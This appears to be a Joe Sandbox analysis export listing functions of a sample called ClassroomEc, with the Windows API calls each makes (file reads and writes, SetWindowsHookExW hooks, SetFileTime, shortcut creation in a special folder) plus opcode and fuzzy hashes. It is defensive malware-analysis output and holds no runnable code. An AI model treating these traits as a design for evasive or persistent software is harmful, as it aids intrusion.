Opcode ID: 00f82523872f78941978482ad82049d92de8f15b186629c208784b274d0bb5d9
Instruction ID: 8887677e2f633982feecbe3ef700967c9b9c8f7c0bae993a04927dc1df4204ab
Opcode Fuzzy Hash: 00f82523872f78941978482ad82049d92de8f15b186629c208784b274d0bb5d9
Instruction Fuzzy Hash: 5FF0D075614209FBCB04CF94D851EAF77B9EB89351F208658F91997280E631EE11DBB0

Uniqueness

Uniqueness Score: -1.00%

Function 00D76A80 Relevance: 1.5, APIs: 1, Instructions: 32fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00D76AB8

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: c9f0526219b996ef6e334b71c866943cba24c6842cc0079aeb46d471723ce141
Instruction ID: 3a948c088469c2183892e9aa95b1472cede96b7ef89f11f196c4d22995262207
Opcode Fuzzy Hash: c9f0526219b996ef6e334b71c866943cba24c6842cc0079aeb46d471723ce141
Instruction Fuzzy Hash: A1F0F9B5904308BFCB04DF98D884A9DBBB9AB89310F10C199F858D7340E631AA45CFB1

Uniqueness

Uniqueness Score: -1.00%

Function 00D84A60 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

codecvt.LIBCPMTD ref: 00D84AA0

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: codecvt
String ID:
API String ID: 3662085145-0
Opcode ID: 0877466f9f167c7c3e1c31dec033a9161ed42242a87bf19012e482f4da869ad0
Instruction ID: cbca4cec305cedb81728978d937c6f44085ed16978a74c28d42a665874288d4b
Opcode Fuzzy Hash: 0877466f9f167c7c3e1c31dec033a9161ed42242a87bf19012e482f4da869ad0
Instruction Fuzzy Hash: 0301EC74E44209EFCB08EF98C545AADBBB0FB44344F14C599D8456B345D771AE80DF94

Uniqueness

Uniqueness Score: -1.00%

Function 00D6CA20 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

codecvt.LIBCPMTD ref: 00D6CA60

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: codecvt
String ID:
API String ID: 3662085145-0
Opcode ID: 11022d4cfc266af2f5d3f29bbdd2fb7bf31ddfbc4f0a8f88ef132e2aa352b797
Instruction ID: bf0bb764662b2c56416d04a2d9217ca097dbceeeb54f3c3db0fd4fc1e3708869
Opcode Fuzzy Hash: 11022d4cfc266af2f5d3f29bbdd2fb7bf31ddfbc4f0a8f88ef132e2aa352b797
Instruction Fuzzy Hash: DB01C474A0020CEFCB04EFA9C545AADBBB4FB48344F108599E886AB351D770AE80DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00D768F0 Relevance: 1.5, APIs: 1, Instructions: 27fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,00000000,?,00000000,00000000), ref: 00D76914

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 3684dc4e926ab8e4cbd896d8bc576817aed1d033ebfa4064b7a2e5284f5a3e7c
Instruction ID: 9f6a3a341efc1ae01983fbf0438531a45d3f65a96e3c703735548138d9597699
Opcode Fuzzy Hash: 3684dc4e926ab8e4cbd896d8bc576817aed1d033ebfa4064b7a2e5284f5a3e7c
Instruction Fuzzy Hash: 23F01CB9904248BFCB00DFD8D885FDEBBB8AB59300F008199F948D7341E631A615CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00D79270 Relevance: 1.5, APIs: 1, Instructions: 27COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00D78FF0: ??2@YAPAXI@Z.MSVCRT ref: 00D79019

_wmemmove.LIBCMTD ref: 00D792A5

Part of subcall function 00D71470: memcpy.MSVCRT ref: 00D71481

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: ??2@_wmemmovememcpy
String ID:
API String ID: 2841112568-0
Opcode ID: d18e22370add9a75cc1ae37fbc34cd2e07dc1684bfef52e163650ba2ed4e33ee
Instruction ID: 5e5c37beade8e2bfe1fb74e76dcf4cec8d44b0e3c9d1ab78343a789c5316196f
Opcode Fuzzy Hash: d18e22370add9a75cc1ae37fbc34cd2e07dc1684bfef52e163650ba2ed4e33ee
Instruction Fuzzy Hash: C5F0C0B9D00108BBCB04DFD8D885C9EBBB9EF89304F1081A8F90897305E631AB50DBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00D79F20 Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

SysAllocStringLen.OLEAUT32(00000000,00D71522), ref: 00D79F29

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: d7cbbde77740999411b81eb87880909acaa65826c7cedefc28f7bd477c7029d3
Instruction ID: 5ef2f6e1e412579d9546c0aacd302dff58bacc86d0f96856f18349ad29ebd015
Opcode Fuzzy Hash: d7cbbde77740999411b81eb87880909acaa65826c7cedefc28f7bd477c7029d3
Instruction Fuzzy Hash: 91F0F2342143099BDB00CF14C490B65BB65EF49324F20C159E84CCF350D676E981CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00D76A30 Relevance: 1.5, APIs: 1, Instructions: 20timeCOMMON

Download Yara Rule

APIs

SetFileTime.KERNELBASE(00000000,?,00000000,?,?,?,00D76A77,00000000,00000000,?,?,?,00D633A6,?,?), ref: 00D76A49

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: FileTime
String ID:
API String ID: 1425588814-0
Opcode ID: 7d26cc3353ed8967065c2cf31f64dc9e5935d2787a74df7f6e8a88108e4aec46
Instruction ID: 2fea12aaec6f474c68cee4be7b4a979a365028177287b2fbaf116fb2844637d1
Opcode Fuzzy Hash: 7d26cc3353ed8967065c2cf31f64dc9e5935d2787a74df7f6e8a88108e4aec46
Instruction Fuzzy Hash: D8E0ECB6918208BB8B04DF98EC55C9BB7ACEB5D300B00815DF909C7300E632EA10CBB5

Uniqueness

Uniqueness Score: -1.00%

Function 00D61370 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

std::ios_base::clear.LIBCPMTD ref: 00D61381

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: std::ios_base::clear
String ID:
API String ID: 1443086396-0
Opcode ID: b3493e062fb2f0b29b7aba0934e9481bbdd5119705f384922eea4d1d880fe996
Instruction ID: e0c1ecab65dcead302a0d46f38669036fa4d9f7bacd0789e36208a52737b756d
Opcode Fuzzy Hash: b3493e062fb2f0b29b7aba0934e9481bbdd5119705f384922eea4d1d880fe996
Instruction Fuzzy Hash: B6C0127190410CBB4704DF8CD80195EB7ACDB18300B004169B90997301D5319A1097B9

Uniqueness

Uniqueness Score: -1.00%

Function 00D63050 Relevance: 1.3, APIs: 1, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: FormatMessagelstrcpylstrlen$??2@??3@ErrorFreeLastLocalwvsprintf
String ID:
API String ID: 829399097-0
Opcode ID: 1b33bacb710f9eb2fec02fe0876406eed64e1db90da857b4bf7f1ee716fc9ac7
Instruction ID: 4d126abe837694e9fbd6109ad75b64922f425c2b8732c7f06b4122a02087d044
Opcode Fuzzy Hash: 1b33bacb710f9eb2fec02fe0876406eed64e1db90da857b4bf7f1ee716fc9ac7
Instruction Fuzzy Hash: FB015EB0E04208ABDB04EFA4DC5676E77B4EF04340F044068E856EB392EB319B48CBB5

Uniqueness

Uniqueness Score: -1.00%

Function 00D78FF0 Relevance: 1.3, APIs: 1, Instructions: 30COMMONLIBRARYCODE

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT ref: 00D79019

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 1dd495598ebddd9998bd3669da28e97c01af639729b23818e2c0219baa4f5057
Instruction ID: 44b9bc25ad1b284f0e9ceea0b31edb52be733bbaa3ba3d4e71acd4535745b979
Opcode Fuzzy Hash: 1dd495598ebddd9998bd3669da28e97c01af639729b23818e2c0219baa4f5057
Instruction Fuzzy Hash: 52F0FEB5A05208AFCB08DF58D442A5DFFF4EF48350F1081A9EC499B345D631EE51CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00D74240 Relevance: 1.3, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT ref: 00D7425C

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 917d4162340fb44f94f007ac9e731a54d4517bc9d05544b15a4b49cae7dede00
Instruction ID: 96aba09519616c8d35e5fed7b7ea39d81cc67da809cb78cec60bfb9f71e2edaf
Opcode Fuzzy Hash: 917d4162340fb44f94f007ac9e731a54d4517bc9d05544b15a4b49cae7dede00
Instruction Fuzzy Hash: 71E09AB5D04208EFCB55DF98D445A9DBBB4EB59310F1081A5E848A7340E731AA94CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00D747E0 Relevance: 1.3, APIs: 1, Instructions: 14memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,00000000,00001000,00000004), ref: 00D747FA

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: b71d62c39fa2de8ff5d928f8410dea69b59b49ba1925f3eb220be2a412bf90ef
Instruction ID: b54c849faa94165375a248ab44e24fa3ac80519772aae268a0344ec826f9c48d
Opcode Fuzzy Hash: b71d62c39fa2de8ff5d928f8410dea69b59b49ba1925f3eb220be2a412bf90ef
Instruction Fuzzy Hash: ADD0123025430DFAE7014A50EC85BB637989704795F548010FB5D9D1D0E3B0959046B5

Uniqueness

Uniqueness Score: -1.00%

Function 00D74810 Relevance: 1.3, APIs: 1, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

APIs

VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 00D74826

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: c0f332d108aaf7ce570e89df32d3c6ebc072e61ac3e146c55efc1c2b8522e3e5
Instruction ID: 451a2529526438ae8b420cbed104815126ad51f55aae88a7c896a0d692f2608c
Opcode Fuzzy Hash: c0f332d108aaf7ce570e89df32d3c6ebc072e61ac3e146c55efc1c2b8522e3e5
Instruction Fuzzy Hash: 1CC0123054070CAADA105A90E849BF63B98A704722F10C011BA8D9A280E7B0A6848BA2

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00D6B300 Relevance: 16.6, APIs: 11, Instructions: 106stringwindowCOMMON

Download Yara Rule

APIs

wvsprintfW.USER32(?,?,?), ref: 00D6B32D
GetLastError.KERNEL32 ref: 00D6B33D
FormatMessageW.KERNEL32(00001100,00000000,?,?,?,00000000,00000000), ref: 00D6B36C
FormatMessageW.KERNEL32(00001100,00000000,?,00000000,?,00000000,00000000,?,?,00000000,00000000), ref: 00D6B393
lstrlenW.KERNEL32(?,?,?,00000000,00000000), ref: 00D6B3A8
lstrlenW.KERNEL32(?,?,?,00000000,00000000), ref: 00D6B3BB
??2@YAPAXI@Z.MSVCRT ref: 00D6B3DC
lstrcpyW.KERNEL32(?,?), ref: 00D6B404
lstrcpyW.KERNEL32(?,?), ref: 00D6B437
??3@YAXPAX@Z.MSVCRT ref: 00D6B45F
LocalFree.KERNEL32(?), ref: 00D6B46E

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: FormatMessagelstrcpylstrlen$??2@??3@ErrorFreeLastLocalwvsprintf
String ID:
API String ID: 829399097-0
Opcode ID: 8904fd2fd2b11f3e444f1c206eacaee4a8db718e324b3208f76427c6edc71c85
Instruction ID: 67d0bf5eed78fdcfe99a78acf050d40997a56c2211a18cd9fcaf483899e791e9
Opcode Fuzzy Hash: 8904fd2fd2b11f3e444f1c206eacaee4a8db718e324b3208f76427c6edc71c85
Instruction Fuzzy Hash: 13411DB59002189BDB64DF54DC55BEAB3B8FF48300F04C1A9E58AD6240EF30AA85CFE1

Uniqueness

Uniqueness Score: -1.00%

Function 00D69FC0 Relevance: 16.6, APIs: 11, Instructions: 91COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00D69FE0
SystemParametersInfoW.USER32(00000029,00000000,000001F4,00000000), ref: 00D69FFF
GetDC.USER32(00000000), ref: 00D6A00B
GetDeviceCaps.GDI32(?,0000005A), ref: 00D6A020
MulDiv.KERNEL32(?,00000048,00000000), ref: 00D6A030
ReleaseDC.USER32(00000000,?), ref: 00D6A047
GetModuleHandleW.KERNEL32(00000000), ref: 00D6A077
FindResourceA.KERNEL32(?,00000000,00000005), ref: 00D6A0AD
LoadResource.KERNEL32(?,00000000), ref: 00D6A0D0
LockResource.KERNEL32(00000000), ref: 00D6A0EC
DialogBoxIndirectParamW.USER32(?,00000000,?,Function_00008D70,?), ref: 00D6A138

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: Resource$CapsDeviceDialogFindHandleIndirectInfoLoadLockModuleParamParametersReleaseSystemmemcpy
String ID:
API String ID: 3119308957-0
Opcode ID: 5fa68fc49fb9847ce5b33e5800804728f246c1e35db0766033dcce9bec3fe865
Instruction ID: 106b6283802f910796432458e9faca5c05322800e356df47eb78fb443086c098
Opcode Fuzzy Hash: 5fa68fc49fb9847ce5b33e5800804728f246c1e35db0766033dcce9bec3fe865
Instruction Fuzzy Hash: 7F4107B4914328AFDB26DF64CC49BEAB7B8BB08701F0881D8E55DA6290D7715F84CF61

Uniqueness

Uniqueness Score: -1.00%

Function 00D65200 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 413memoryCOMMON

Download Yara Rule

APIs

_wtol.MSVCRT(?), ref: 00D65223
SHGetSpecialFolderPathW.SHELL32(00000000,?,00000019,00000000), ref: 00D65352
_DebugHeapAllocator.LIBCPMTD ref: 00D6536D

Strings

.lnk, xrefs: 00D6562D

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: AllocatorDebugFolderHeapPathSpecial_wtol
String ID: .lnk
API String ID: 3713458237-24824748
Opcode ID: 2f6c2f49dce12b4c61b342b859143dbb6aef49231e40acdaed3a60255455a2b7
Instruction ID: 3a7fdea861d4c49bf8169cb5dec375b2e24c95c80c92611aec8bcf05d03ce6d6
Opcode Fuzzy Hash: 2f6c2f49dce12b4c61b342b859143dbb6aef49231e40acdaed3a60255455a2b7
Instruction Fuzzy Hash: F30259749111199BDB14EF61EC9AAEDB774EF14304F548198E40AA72A5EF30AEC8CF70

Uniqueness

Uniqueness Score: -1.00%

Function 00D69F30 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(uxtheme,?,?,000004B2,?), ref: 00D69F3E
GetProcAddress.KERNEL32(00000000,SetWindowTheme), ref: 00D69F56
GetWindow.USER32(00000000,00000005), ref: 00D69F70
GetWindow.USER32(00000000,00000002), ref: 00D69F96

Strings

SetWindowTheme, xrefs: 00D69F4D
uxtheme, xrefs: 00D69F39

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: Window$AddressLibraryLoadProc
String ID: SetWindowTheme$uxtheme
API String ID: 324724604-1369271589
Opcode ID: fe1889f94c093361a91c8c8b6eb5d623e69e8db1acbea35af4203ea78a98cd36
Instruction ID: 513aa436011ea2e437365ed41f02af86f71aeea9fb56c955dd788a972f77d90b
Opcode Fuzzy Hash: fe1889f94c093361a91c8c8b6eb5d623e69e8db1acbea35af4203ea78a98cd36
Instruction Fuzzy Hash: 9D011674D10308EFEB00AFA4CC5DBADFBB8EB44701F048499E416A6290D7B54A44DF60

Uniqueness

Uniqueness Score: -1.00%

Function 00D68CD0 Relevance: 6.0, APIs: 4, Instructions: 44threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00D68CEF
SetWindowsHookExW.USER32(00000007,Function_00008A80,00000000,00000000), ref: 00D68CFF

Part of subcall function 00D68990: _DebugHeapAllocator.LIBCPMTD ref: 00D689AF
Part of subcall function 00D68990: wsprintfW.USER32 ref: 00D689E1

GetCurrentThreadId.KERNEL32 ref: 00D68D13
SetWindowsHookExW.USER32(00000002,Function_00008B60,00000000,00000000), ref: 00D68D23

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: CurrentHookThreadWindows$AllocatorDebugHeapwsprintf
String ID:
API String ID: 3455760282-0
Opcode ID: 6ab79ee9ca7dbb7dd03ee11e5907120580ba02546cf0df9848f217c8054aa314
Instruction ID: 00ff62f87f68da642be305487b1da982af4d4ff0058ab294e1039418c5dc6481
Opcode Fuzzy Hash: 6ab79ee9ca7dbb7dd03ee11e5907120580ba02546cf0df9848f217c8054aa314
Instruction Fuzzy Hash: 77115774A60308EFDB04DFA4EC59B28B7B5EB45708F14429AE905963E1DB716E40EF34

Uniqueness

Uniqueness Score: -1.00%

Function 00D87CD5 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00027C92), ref: 00D87CDA

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 387d96530fc800ba1f9854ec2db128edae8de08f59d92e3a6ff00e5a69b81ec0
Instruction ID: d0bacb1f0739d4c3bbc3b2802a3196853429b335054036cd81eda653ce627b4e
Opcode Fuzzy Hash: 387d96530fc800ba1f9854ec2db128edae8de08f59d92e3a6ff00e5a69b81ec0
Instruction Fuzzy Hash: C99002742697014A8A5027709C1D92AE5A46B49B02F5584546481C5158DB6480446731

Uniqueness

Uniqueness Score: -1.00%

Function 00D76210 Relevance: .0, Instructions: 29COMMON

